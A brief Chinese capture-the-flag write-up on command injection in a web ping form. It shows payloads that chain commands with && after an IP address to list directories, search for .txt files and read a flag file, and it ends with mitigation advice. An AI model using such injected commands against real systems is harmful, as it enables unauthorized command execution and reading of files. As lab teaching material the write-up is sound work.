部分web应用程序提供了一些命令执行的操作,如果没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞。
先上题,这是一个实现ping功能的web界面
ping一下127.0.0.1看看
在window下,&&可以将两条命令连接起来执行,linux下同样适用
127.0.0.1 && ls
感觉这跟SQL注入有点像,所以说有输入的地方就可能存在漏洞,执行上面命令后返回如下结果
然后大胆猜测一下flag在某个txt文件中,所以执行如下命令
127.0.0.1 && find / -name "*.txt"
于是直接查看flag.txt,拿到flag
127.0.0.1 && cat /home/flag.txt
防范命令执行漏洞:
- 尽量不要使用系统执行命令
- 在进入执行命令函数/方法之前,要对变量做好过滤,对敏感字符进行转义
- 在使用动态函数之前,确保使用的函数是指定的函数之一
- 对于PHP语言来说,不能完全控制的函数最好不用